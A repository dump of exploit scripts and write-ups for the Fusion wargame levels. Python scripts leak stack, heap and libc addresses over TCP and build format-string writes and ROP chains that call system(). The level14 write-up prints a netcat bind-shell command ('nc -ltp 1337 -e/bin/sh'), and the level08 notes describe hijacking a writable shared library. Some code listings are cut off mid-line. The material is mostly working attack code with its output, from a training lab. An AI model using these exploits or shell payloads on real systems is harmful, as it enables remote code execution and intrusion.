30 | #%08x - stack - relative random addr on stack
31 | #ld base - libc base = 0x189000
32 | #(gdb) p system
33 | #$28 = {} 0xb7645b20 <__libc_system>
34 | #(gdb) p/x 0xb7645b20 - 0xb7609000
35 | #$29 = 0x3cb20 - system() from libc
36 | #fflush.got.plt - level13 base + 0x3b74
37 | #level13 base = ldbase + 0x23000
38 |
39 | loop = 0
40 |
41 | while True:
42 | print "Trying to get proper addresses to set up not so lengthy format strings %d" % loop
43 | loop += 1
44 |
45 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
46 | s.connect((TCP_IP, TCP_PORT))
47 | data = s.recv(BUFFER_SIZE)
48 |
49 | s.send("%128$x\n")
50 | data = s.recv(BUFFER_SIZE)
51 | s.send("%08x\n")
52 | data = s.recv(BUFFER_SIZE)
53 | s.send("%9$x\n")
54 | data = s.recv(BUFFER_SIZE)
55 | ldleak = int(data[21:29], 16)
56 | stackleak = int(data[50:58], 16)
57 | heapleak = int(data[80:88], 16)
58 | ldbase = ldleak - 0x10c9c
59 | level13base = ldbase + 0x23000
60 | fflushgotplt = level13base + 0xb74
61 | libcbase = ldbase - 0x189000
62 | systemaddr = libcbase + 0x3cb20
63 | cmdlineaddr = stackleak + 0x80
64 | systemarg = libcbase + 0x178880
65 |
66 | data = s.recv(BUFFER_SIZE)
67 | s.send("yes\n")
68 | data = s.recv(BUFFER_SIZE)
69 |
70 | bw = 0x21
71 | byte4 = (((systemaddr & 0xFF) - bw) & 0xFF) + 8
72 | bw += (byte4 + 5 + (3-len(str(byte4)))) & 0xffff
73 | byte3 = ((((systemaddr >> 8) & 0xFF) - bw) & 0xFF) + 8
74 | bw += (byte3 + 5 + (3-len(str(byte3)))) & 0xffff
75 | byte2 = ((((systemaddr >> 16) & 0xFF) - bw) & 0xFF) + 8
76 | bw += (byte2 + 5 + (3-len(str(byte2)))) & 0xffff
77 | byte1 = ((((systemaddr >> 24) & 0xFF) - bw) & 0xFF) + 8
78 | bw += (byte1 + 5 + (3-len(str(byte1)))) & 0xffff
79 |
80 | format1 = struct.pack("> 8) & 0xFF) - bw) & 0xFF) + 8
86 | bw += (byte3 + 5 + (3-len(str(byte3)))) & 0xffff
87 | byte2 = ((((cmdlineaddr >> 16) & 0xFF) - bw) & 0xFF) + 8
88 | bw += (byte2 + 5 + (3-len(str(byte2)))) & 0xffff
89 | byte1 = ((((cmdlineaddr >> 24) & 0xFF) - bw) & 0xFF) + 8
90 | bw += (byte1 + 5 + (3-len(str(byte1)))) & 0xffff
91 |
92 | format2 = struct.pack("
5 | #include
6 | #include
7 | #include
8 | #include
9 |
10 | struct buffer {
11 | unsigned char *data;
12 | size_t len;
13 | };
14 |
15 | static void encryption_worker()
16 | {
17 | struct buffer *input_buffer;
18 | struct buffer *output_buffer;
19 | unsigned char *tmp;
20 | unsigned char *message = "m 0777 test1";
21 | unsigned char peer_remote_pk[32];
22 | unsigned char secret_key[32];
23 | int i;
24 | unsigned char *p;
25 |
26 | input_buffer = calloc(sizeof(struct buffer), 1);
27 | input_buffer->data = message;
28 | input_buffer->len = strlen(message);
29 | output_buffer = calloc(sizeof(struct buffer), 1);
30 | if(output_buffer == NULL) goto failure;
31 | output_buffer->len = input_buffer->len + crypto_box_ZEROBYTES + crypto_box_NONCEBYTES;
32 | output_buffer->data = malloc(output_buffer->len);
33 | if(output_buffer->data == NULL) goto failure;
34 |
35 | memcpy(output_buffer->data, "\x49\x00\x4a\x43\x37\xf3\x4e\x69\x8b\x59\xaa\x21\x05\x99\xd5\x79\x26\xb2\xbe\x5b\x76\xef\x55\x8b", 24);
36 |
37 | memcpy(peer_remote_pk, "\x2d\xda\x2f\xcc\x5b\xae\x6b\xba\x6f\x7d\x27\x35\x8b\x23\x04\x6f\x6d\x73\x70\x68\x67\xc2\x79\x48\x38\x98\x75\x47\x95\x72\x0b\x44", 32);
38 | memcpy(secret_key, "\xbc\xcc\x7b\x0c\x7e\x5f\xd0\xf9\x15\x04\x47\x19\x2c\x8d\x2f\x56\x81\xe9\x80\x8b\x95\x7f\x9e\x2f\x11\x18\xd2\x1e\xf7\x6f\x9c\xf5", 32);
39 | // randombytes(output_buffer->data, crypto_box_NONCEBYTES);
40 | // randombytes(peer_remote_pk, 32);
41 | // randombytes(secret_key, 32);
42 |
43 | tmp = malloc(input_buffer->len + crypto_box_ZEROBYTES);
44 | if(! tmp) goto failure;
45 |
46 |
47 | printf("input_buffer is %08x\n", input_buffer);
48 | printf("input_buffer->data = %s, input_buffer->len = %d\n", input_buffer->data, input_buffer->len);
49 |
50 | memset(tmp, 0, crypto_box_ZEROBYTES);
51 | memcpy(tmp + crypto_box_ZEROBYTES, input_buffer->data, input_buffer->len);
52 |
53 | printf("input_buffer len: %d\n", input_buffer->len+crypto_box_ZEROBYTES);
54 | p = tmp;
55 | for (i=0;ilen+crypto_box_ZEROBYTES;i++)
56 | {
57 | printf("%02x", *p++);
58 | }
59 | printf("\n");
60 | if(crypto_box(output_buffer->data + crypto_box_NONCEBYTES, tmp, crypto_box_ZEROBYTES + input_buffer->len,
61 | output_buffer->data, peer_remote_pk, secret_key) != 0) {
62 | fprintf(stderr, "crypto_box failed\n");
63 | goto failure;
64 | }
65 |
66 | printf("output_buffer len: %d\n", output_buffer->len);
67 | p = output_buffer->data;
68 | for (i=0;ilen;i++)
69 | {
70 | printf("\\x%02x", *p++);
71 | }
72 | printf("\n");
73 |
74 | goto alright;
75 | failure:
76 | free(output_buffer);
77 | alright:
78 | free(input_buffer);
79 | if(tmp) { free(tmp); tmp = NULL; }
80 |
81 | }
82 |
83 | static void decryption_worker()
84 | {
85 | struct buffer *input_buffer;
86 | struct buffer *output_buffer;
87 | unsigned char peer_remote_pk[32];
88 | unsigned char secret_key[32];
89 |
90 | size_t tl;
91 | unsigned char *tmpout;
92 | unsigned char *message = "\xbe\xe7\xfb\x71\x4c\xe8\x9f\xd5\xaa\x84\x98\xca\x03\x55\x69\x0a\x20\x8f\x50\xc0\xd0\xce\xcd\xcb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2b\x35\x91\xd4\xb9\x99\x87\x53\xe9\x54\xe8\x63\x1c\xce\x3c\x2a\xc5\xab\xff\xda\xa5\xaa\xe6\x6f\x8a\x0f\x63\x77";
93 |
94 | strncpy(peer_remote_pk, "\x0c\xb6\x7f\xe5\xd8m\xcb\xfd#\xc7\x81\x83\xb8\xef?\xfd\xb4$\xc3\xa0\xc7\xa9\xdc\x8f&G\x1a?\xa0:\xcb\x10", 32);
95 | strncpy(secret_key, "\xf6\x93\\\x89""8\xe0yz\xb8""3R\xb6\xef@\x0b\xe8\xf7""C\x1e\xf5(\x8f""A\x8f\xb5\x13\x08S\xd6\xcdZ\x89", 32);
96 | input_buffer = output_buffer = NULL;
97 | tmpout = NULL;
98 |
99 |
100 | input_buffer = calloc(sizeof(struct buffer), 1);
101 | input_buffer->len = 68;
102 | input_buffer->data = message;
103 | tl = input_buffer->len - crypto_box_NONCEBYTES;
104 |
105 | tmpout = malloc(tl);
106 | if(! tmpout) {
107 | fprintf(stderr, "decryption_worker: unable to malloc %d bytes for tmpout, skipping\n", tl);
108 | goto failure;
109 | }
110 |
111 | output_buffer = calloc(sizeof(struct buffer), 1);
112 | if(! output_buffer) {
113 | fprintf(stderr, "decryption_worker: unable to calloc new buffer, skipping\n");
114 | goto failure;
115 | }
116 | output_buffer->len = tl - crypto_box_ZEROBYTES;
117 | output_buffer->data = malloc(output_buffer->len);
118 | if(! output_buffer->data) {
119 | fprintf(stderr, "decryption_worker: unable to malloc new data buffer of "
120 | "%d bytes, skipping\n", tl - crypto_box_ZEROBYTES);
121 | goto failure;
122 | }
123 |
124 | // printf("attempting to decrypt with length of %d bytes\n", tl);
125 |
126 | if(crypto_box_open(tmpout, input_buffer->data + crypto_box_NONCEBYTES, tl, input_buffer->data,
127 | peer_remote_pk, secret_key) != 0) {
128 | fprintf(stderr, "decryption_worker: unable to crypto_box_open :s, skipping\n");
129 | goto failure;
130 | }
131 |
132 | // printf("decryption_worker: outputting buffer\n");
133 |
134 | memcpy(output_buffer->data, tmpout + crypto_box_ZEROBYTES, output_buffer->len);
135 |
136 | /* Insert the buffer into the queue */
137 |
138 | printf(": %s", output_buffer->data);
139 | goto alright;
140 | failure:
141 | free(output_buffer);
142 | alright:
143 | free(input_buffer);
144 | if(tmpout) free(tmpout);
145 | }
146 |
147 |
148 | int main()
149 | {
150 | encryption_worker();
151 | }
152 |
--------------------------------------------------------------------------------
/level05/level05.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import socket
3 | from struct import *
4 | import time
5 | import sys
6 | import struct
7 | import random
8 |
9 |
10 | TCP_IP = '10.0.0.1'
11 | TCP_PORT = 20005
12 | BUFFER_SIZE = 1024
13 |
14 |
15 | def register(s, name):
16 | s.send("addreg " + name + " 32 127.0.0.1\n")
17 | return True
18 |
19 | def unregister(s, name):
20 | s.send("addreg " + name + " 0 0.0.0.0\n")
21 | return True
22 |
23 | def checkname(s, name):
24 | s.send("checkname " + name + "\n")
25 | data = s.recv(BUFFER_SIZE)
26 | if "is not indexed already" in data:
27 | return False
28 | else:
29 | return True
30 |
31 | def bruteforce(s, prefix, postfix, range):
32 | candidates = []
33 | for i in range:
34 | if i == 32:
35 | continue
36 | register(s, prefix + chr(i) + postfix)
37 | time.sleep(0.1)
38 | checkname(s, "test")
39 | result0 = checkname(s, prefix)
40 | result1 = checkname(s, prefix)
41 | unregister(s, prefix + chr(i) + postfix)
42 | if result0 or result1:
43 | print "possible candidate: "+str(hex(i))
44 | candidates.append(i)
45 | continue
46 | return candidates
47 |
48 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
49 | s.connect((TCP_IP, TCP_PORT))
50 | data = s.recv(BUFFER_SIZE)
51 | print "received data:", data
52 | #test whether it works
53 | register(s, "A"*16+"\x04")
54 | time.sleep(0.5)
55 | checkname(s, "test")
56 | result = []
57 |
58 | for i in xrange(4):
59 | result.append(checkname(s, "A"*16))
60 |
61 | unregister(s, "A"*16+"\x04")
62 | for i in xrange(4):
63 | result.append(checkname(s, "A"*16))
64 |
65 | if (result[0] or result[1]) and (result[2] or result[3]):
66 | if not (result[4] or result[5] or result[6] or result[7]):
67 | print "Works!"
68 | else:
69 | print "Does not work!"
70 | sys.exit()
71 | else:
72 | print "Does not work!"
73 | sys.exit()
74 |
75 | retestedmemory = []
76 | print "trying to find hightest byte"
77 | memory = bruteforce(s, "A"*15, "\x04", range(0,256))
78 | print "final: "
79 | retestedmemory.append(bruteforce(s, "B"*15, "\x04", memory)[0])
80 | print "final: " + str(hex(retestedmemory[0]))
81 |
82 | print "trying to find second hightest byte"
83 | memory = range(0,256)
84 | #memory = bruteforce(s, "A"*14, chr(retestedmemory[0])+"\x04", range(0,256))
85 | while len(memory) != 1:
86 | memory = bruteforce(s, chr(random.randint(0x41,0x4a))*14, chr(retestedmemory[0])+"\x04", memory)
87 |
88 | retestedmemory.append(memory[0])
89 | print "final: " + str(hex(retestedmemory[1]))
90 | print "trying to find second lowest byte"
91 | #memory = bruteforce(s, "A"*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", range(0,256))
92 | memory = range(0,256)
93 | while len(memory) != 1:
94 | memory = bruteforce(s, chr(random.randint(0x41,0x4a))*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", memory)
95 |
96 | level05base = (retestedmemory[0]<<24) + (retestedmemory[1]<<16) + (((memory[0]>>4)-2)<<12)
97 |
98 |
99 | print str(hex(level05base))
100 | #print "exploiting in 10sec."
101 | #time.sleep(10)
102 |
103 | libcbase = level05base - 0x1a9000
104 | #libcbase = 0xb75bb000
105 | print str(hex(libcbase))
106 |
107 | p = ""
108 | p += pack(" stack smashing detected ***: /opt/fusion/bin/level08 terminated
36 |
37 | Already explained in the beginning what is the problem with our canary. It is generated randomly, we cannot bruteforce it (you can, but the probability that you will find the correct one is almost zero). I have spent a few weeks on research of stack canaries and bypass techniques and found nothing that is useful here.
38 |
39 | ## Hints
40 |
41 | This is the point where you should forget about your bottleneck and find other ways to exploit the vulnerability. I read thru the source code but found nothing, then in a clear moment I noticed something strange. I previously saw that there is a *lib/i386-linux-gnu/* directory which has some kind of shared library, but I thought that is only there for help in case you have RCE and then you can load it and reuse the already compiled functions. I made a huge mistake here, even the name was telling. If you decompile the *.so*, you will find that the *_init* function writes out the **"evil.so loaded"** message, which is a hint indeed. Unfortunately I have terminated the connection before read out this message from the channel, I never saw this previously.
42 | When a stack corruption happens and the OS notices it terminates the program with **"stack smashing detected \*\*\*"** message. After that message an awful lot of code runs including the *_Unwind_Backtrace()* which provides the stacktrace to the user for debugging purposes. This function resides in the *libgcc_s.so* and because the program runs in a chrooted environment the *libgcc_s.so.1* will be loaded with the evil init function. The shared library is writeable for us which means we can execute any code within the environment.
43 | Stack overflow exploitation without writing code to the stack, nice huh? There is no need to know the canary this way.
44 |
45 | ## Steps summarized
46 |
47 | 1. implement encryption and decryption routines
48 | 2. open the lib/i386-linux-gnu/libgcc_s.so.1 file
49 | 3. overwrite with your shared library (_init function will be executed)
50 | 4. close the file descriptor
51 | 5. create a directory - trigger overflow
52 | 6. init function runs
53 |
54 | ## Chroot
55 |
56 | We can execute any code in the chrooted environment, even spawn a shell, but what's the point? We are still enclosed with our unprivileged user. Based on the previous levels there was no requirement to gain root, so I doubt that would be the next step. My solution would had been to create a .ssh directory (which is forbidden in the binary, I thought it is a hint as well) and upload my pub key into the authorized_keys file and log in thru ssh. This approach doesn't work, because our user (*level08*) isn't in the passwd file unfortunately, so sshd doesn't let us in. I have no other ideas hwo to break out. If you do please drop me a mail, I really excited to see how others solve this challenge.
57 |
58 | Twitter: @xoreipeip
59 |
60 |
61 |
62 |
--------------------------------------------------------------------------------
/level05/level05.big.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import socket
3 | from struct import *
4 | import time
5 | import sys
6 | import struct
7 | import random
8 |
9 |
10 | #pre-beta file for test
11 |
12 | TCP_IP = '10.0.0.1'
13 | TCP_PORT = 20005
14 | BUFFER_SIZE = 1024
15 |
16 |
17 | def register(s, name):
18 | s.send("addreg " + name + " 32 127.0.0.1\n")
19 | return True
20 |
21 | def unregister(s, name):
22 | s.send("addreg " + name + " 0 0.0.0.0\n")
23 | return True
24 |
25 | def checkname(s, name):
26 | s.send("checkname " + name + "\n")
27 | data = s.recv(BUFFER_SIZE)
28 | if "is not indexed already" in data:
29 | return False
30 | else:
31 | return True
32 |
33 | def bruteforce(s, prefix, postfix, range):
34 | candidates = []
35 | for i in range:
36 | if i == 32:
37 | continue
38 | register(s, prefix + chr(i) + postfix)
39 | time.sleep(0.1)
40 | checkname(s, "test")
41 | result0 = checkname(s, prefix)
42 | result1 = checkname(s, prefix)
43 | unregister(s, prefix + chr(i) + postfix)
44 | if result0 or result1:
45 | print "possible candidate: "+str(hex(i))
46 | candidates.append(i)
47 | continue
48 | return candidates
49 |
50 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
51 | s.connect((TCP_IP, TCP_PORT))
52 | data = s.recv(BUFFER_SIZE)
53 | print "received data:", data
54 | """
55 | #test whether it works
56 | register(s, "A"*16+"\x04")
57 | time.sleep(0.5)
58 | checkname(s, "test")
59 | result = []
60 |
61 | for i in xrange(4):
62 | result.append(checkname(s, "A"*16))
63 |
64 | unregister(s, "A"*16+"\x04")
65 | for i in xrange(4):
66 | result.append(checkname(s, "A"*16))
67 |
68 | if (result[0] or result[1]) and (result[2] or result[3]):
69 | if not (result[4] or result[5] or result[6] or result[7]):
70 | print "Works!"
71 | else:
72 | print "Does not work!"
73 | sys.exit()
74 | else:
75 | print "Does not work!"
76 | sys.exit()
77 |
78 | retestedmemory = []
79 | print "trying to find hightest byte"
80 | memory = bruteforce(s, "A"*15, "\x04", range(0,256))
81 | print "final: "
82 | retestedmemory.append(bruteforce(s, "B"*15, "\x04", memory)[0])
83 | print "final: " + str(hex(retestedmemory[0]))
84 |
85 | print "trying to find second hightest byte"
86 | memory = range(0,256)
87 | #memory = bruteforce(s, "A"*14, chr(retestedmemory[0])+"\x04", range(0,256))
88 | while len(memory) != 1:
89 | memory = bruteforce(s, chr(random.randint(0x41,0x4a))*14, chr(retestedmemory[0])+"\x04", memory)
90 |
91 | retestedmemory.append(memory[0])
92 | print "final: " + str(hex(retestedmemory[1]))
93 | #retestedmemory.append(0xb7)
94 | #retestedmemory.append(0x71)
95 | print "trying to find second lowest byte"
96 | #memory = bruteforce(s, "A"*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", range(0,256))
97 | memory = range(0,256)
98 | while len(memory) != 1:
99 | memory = bruteforce(s, chr(random.randint(0x41,0x4a))*13, chr(retestedmemory[1])+chr(retestedmemory[0])+"\x04", memory)
100 |
101 | level05base = (retestedmemory[0]<<24) + (retestedmemory[1]<<16) + (((memory[0]>>4)-2)<<12)
102 |
103 |
104 | print str(hex(level05base))
105 | print "exploiting in 10sec."
106 | time.sleep(10)
107 |
108 | libcbase = level05base - 0x1a9000
109 | """
110 | libcbase = 0xb7715000
111 | print str(hex(libcbase))
112 |
113 | p = ""
114 | p += pack(" 0xb753d1f0 <__snprintf>: push %ebx
35 | (gdb) ni
36 | ...
37 | (gdb)
38 | 0xb753d21e 35 in snprintf.c
39 | 1: x/i $pc
40 | => 0xb753d21e <__snprintf+46>: call 0xb7555cf0 <_IO_vsnprintf>
41 | (gdb) x/80wx $esp
42 | 0xbfdd4ef8: 0xb7c41268 0x00000800 0xb7c4016c 0xbfdd4f1c
43 | 0xbfdd4f08: 0xb7c40158 0xb77d1208 0xb7c41268 0x00000800
44 | 0xbfdd4f18: 0xb7c4016c 0xb7c40a10 0xb77d0700 0x00000000
45 | 0xbfdd4f28: 0xbfdd5140 0xb7c40a10 0xb77d0700 0x00000000
46 | 0xbfdd4f38: 0xb75622e3 0xb7c40a10 0xb77d10d0 0x00000000
47 | 0xbfdd4f48: 0xb7c40158 0xb77d10d0 0x00000000 0xb7c40158
48 | 0xbfdd4f58: 0xbfdd4f4c 0x00000000 0x00000000 0xb768d000
49 | 0xbfdd4f68: 0xb76a13b8 0x000e3120 0xbfdd4f30 0xb7c41228
50 | 0xbfdd4f78: 0xb766aff4 0xb766c400 0xb7c40030 0x00000000
51 | 0xbfdd4f88: 0xb756594d 0xb75658e0 0xb7c40990 0xb776fff4
52 | 0xbfdd4f98: 0xb77d0070 0xb773a80f 0xb7c40990 0xb74c8190
53 | 0xbfdd4fa8: 0xb7562d8e 0xb777c058 0xb77d0070 0xb7c40030
54 | 0xbfdd4fb8: 0x00000000 0xb77d012c 0xb7c40158 0xbfdd4ff4
55 | 0xbfdd4fc8: 0x00000154 0xb7c40030 0xb77d10d0 0x00000000
56 | 0xbfdd4fd8: 0xb7c40158 0x00000000 0xb777c058 0x00000154
57 | 0xbfdd4fe8: 0xb77d10d0 0x00000000 0xb7c40158 0x00000000
58 | 0xbfdd4ff8: 0xb777c058 0x00000154 0xbfdd4fd0 0x00000000
59 | 0xbfdd5008: 0x00000000 0x00000001 0xb7c40990 0xb77d0070
60 | 0xbfdd5018: 0xb7c40990 0xb77ca8a9 0xb7c40030 0xb7c40990
61 | 0xbfdd5028: 0x00000000 0xb777c058 0x00000000 0x00000004
62 | ```
63 |
64 | Response from the server:
65 | ```
66 | root@kali:~/fusion/level14# nc 172.16.193.195 20014
67 | %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
68 | b7c40a10.b77d0700.00000000.bfdd5140.b7c40a10.b77d0700.00000000.b75622e3.b7c40a10.b77d10d0.00000000.b7c40158.b77d10d0.00000000.b7c40158.bfdd4f4c.00000000.00000000.b768d000.b76a13b8.000e3120.bfdd4f30.b7c41228.b766aff4.b766c400.b7c40030.00000000.b756594d.b75658e0.b7c40990.b776fff4.b77d0070.b773a80f.b7c40990.b74c8190.b7562d8e.b777c058.b77d0070.b7c40030.00000000.b77d012c.b7c40158.bfdd4ff4.00000154.b7c40030.b77d10d0.00000000.b7c40158.00000000.b777c058.00000154.b77d10d0.00000000.b7c40158.00000000.b777c058.00000154.bfdd4fd0.00000000.00000000.00000001.b7c40990.b77d0070.b7c40990.b77ca8a9.b7c40030.b7c40990.00000000
69 | ```
70 |
71 | *snprintf()* leaks from **$esp+36**, so we can address any other 4bytes that comes after. **%1$x** points to **$esp+36**, **$2%x** points to **$esp+40** an so on... We need to find a pointer on stack which points to the stack, you can even find longer chains, but we need only one pointer at the moment (possibly two to have a shorter exploit). Before you start to look for one, it is best to look farther on, too close values on the stack mean we are picking (and later altering) values on stack that are related to the called function or to the caller or to the caller of the caller and so on. Farther is better, but we have to make sure we are still in the stack frame. We are going to modify some values on stack, so if we can keep those values in an area that never changes while we are minding our business we don't have to expect a crash, which is a good thing. The service works in a loop, so outer functions won't be accessed while we are crafting our payload, we need to aim for that stack partition.
72 | **%256$x** will be just good for us. It points to **%263$x** which points to somewhere on the stack. Unfortunately the latter points to an address on stack which can't be divided with 4, so it is not aligned. We need to modify that address to point to something proper. We'll do that later.
73 |
74 | ## Info leaks
75 | The best thing about format string exploits is that you don't have to worry about PIE and ASLR, you can get almost any kind of address from stack reliably. In this case we want to know the base address of some module, address of a heap variable and some stack addresses (explained above).
76 | - **%1$x** leaks heap, we can use it to have a pointer to our payload which will be the shell command (*-0x78c8*)
77 | - **%4$x** leaks stack, we can use it to have a reliable pointer to the ret address of the function (*+0x234*)
78 | - **%6$x** leaks level14 module address (*+0xb700*)
79 | - **%256$x** leaks the address of **%263$x** which has to be aligned and modified step-by-step
80 | - **%263$x** not important for us
81 |
82 | Our stack looks like this:
83 | > [1:heap][2:doesnt][3:matter][4:stackleak]...[6:level14leak]...[256:pointer-to-263]...[263:pointer-to-stack-to-xxx+2]...[xxx:DEADBABE][xxx+1:B00BE555] ---> direction to the bottom
84 |
85 | We can start to play with these leaks and can reliably tell the base of any module loaded (PIE is out of the game) so we know the *exit()* and *system()* function addresses; furthermore we know some pointers to the stack which helps us determine the value of the ret address of the *sprintf()* and to create some pointers on stack. Additionally we have a pointer to the heap (basically to the secondly allocated variable) which can be used as a relative pointer to our payload (ASLR protection is gone).
86 |
87 |
88 | ## Aligning the stack
89 | As in all format string exploits we want to write arbitrary 4bytes to arbitrary addresses, for example to change a GOT entry. Because of the fact that this is a heap based format string vulnerability, we can't write the stack easily, but this is why we looked for a chain on stack.
90 | First we have to modify the address on **%263$x**, because it is not divisible by 4, so if we write something to the address which it points to, it won't be addressable (on the stack "figure" above **%263$x** points to the value *0xBABEB00B*, we want it to point to *0xDEADBABE*). Because it already points to the stack, the upper 16bits of its value is good for us, so we only have to modify the lower 16bits with a short write. (*+0x30* makes sure it points farther than the stack will be used in the program)
91 |
92 | ```
93 | alignedstack = (stackp2p & 0xFFFFFFFC) + 0x30
94 | bw = 0x00
95 | p2pbytelo = ((alignedstack - bw) & 0xFFFF)
96 | payload0 = "%"+str(p2pbytelo)+"x%256$hn" # aligning the stack!
97 | payload0 += "\n\x00"
98 | ```
99 |
100 | Now we have a proper pointer on stack which can be used to write arbitrary two bytes. After aligning, the stack looks like this:
101 | > [1:heap]...[4:stackleak]...[6:level14leak]...[256:pointer-to-263]...[263:pointer-to-275]...[275:DEADBABE] ---> direction to the bottom
102 |
103 |
104 | ## Writing addresses
105 | We have a pointer that points to a pointer that points to the stack. With this structure we can write arbitrary addresses on the bottom of the stack which will be readable for our heap based format string vulnerability. When we are ready with this, we basically turned our heap based vulnerability to a stack based, so it will act as any other stack based format string vulnerability.
106 | In 6*2 steps we are going to write 2bytes on the stack and modify the pointer to point to the next two bytes. At the end we will have 6 consequential overlapping addresses on stack which can be used to write 3 arbitrary dwords - 12bytes.
107 |
108 | ```
109 | def generate_formatstring(value, align):
110 | time.sleep(0.5)
111 |
112 | bw = 0x00
113 | byte = (((value & 0xFFFF) - bw) & 0xFFFF)
114 | bw += byte
115 | alignaddr = ((alignedstack - bw + align) & 0xFFFF)
116 |
117 | payload = "%"+str(byte)+"x%263$hn" # set half byte on previously set address
118 | payload += "%"+str(alignaddr)+"x%256$hn" # set addr to next half byte
119 | payload += "\n\x00"
120 |
121 | return payload
122 | ```
123 | By looping the *align* variable each cycle will generate two format strings that write on the stack and then loops the pointer to the next two bytes.
124 | ```
125 | for i in range(1,7):
126 | s.send(generate_formatstring(stackrop + (i-1)*2, i*4-2))
127 | s.recv(BUFFER_SIZE)
128 | s.send(generate_formatstring(stackrop >> 0x10, i*4))
129 | s.recv(BUFFER_SIZE)
130 | print "[+] %d. value set" % i
131 | ```
132 |
133 | After the loop our stack will look like this:
134 | > [1:heap]...[4:stackleak]...[6:level14leak]...[256:pointer-to-263]...[263:pointer-to-280 +2]...[275:retaddr][276:retaddr+2][277:retaddr+4][278:retaddr+6][279:retaddr+8][280:retaddr+10] ---> direction to the bottom
135 |
136 |
137 | ## Final steps
138 |
139 | We have 6 different addresses on stack, crafted by ourselves. All of these are fully addressable by our format string vulnerability by **%275$x** to **%280$x**. In the Info leak section we managed to get a reliable address that points to the ret address of the *snprintf()* function; if we change that address the function will return to a different location. If we change more dwords on that memory location, we can create a ROP chain with our gadgets. Our chain will look like this:
140 | > [system()][exit()][payload-from-heap]
141 |
142 | We already have all the necessary addresses leaked in the Info leak section, we only have to write these to our crafted pointers.
143 | ```
144 | payloadx = "/bin/nc.traditional -ltp 1337 -e/bin/sh;" # eat this system()!
145 | payloadx += "%"+str(bytelo1)+"x%275$hn%"+str(bytehi1)+"x%276$hn" # ret to system
146 | payloadx += "%"+str(bytelo2)+"x%277$hn%"+str(bytehi2)+"x%278$hn" # exit() pointer
147 | payloadx += "%"+str(bytelo3)+"x%279$hn%"+str(bytehi3)+"x%280$hn" # heap addr that points to this payload
148 | payloadx += "\n\x00"
149 | ```
150 | - *byte[lo|hi]1* stores *system()*'s address from libc
151 | - *byte[lo|hi]2* stores *exit()*'s address from libpthread
152 | - *byte[lo|hi]3* stores the pointer to the payload prefixed the format string
153 |
154 | By overwriting the ret address and the following two dwords we have our ROP chain placed on stack. The function returns to *system()* with our payload and executes the command.
155 |
156 | Twitter: [@xoreipeip](https://twitter.com/xoreipeip)
157 |
158 |
159 |
160 |
--------------------------------------------------------------------------------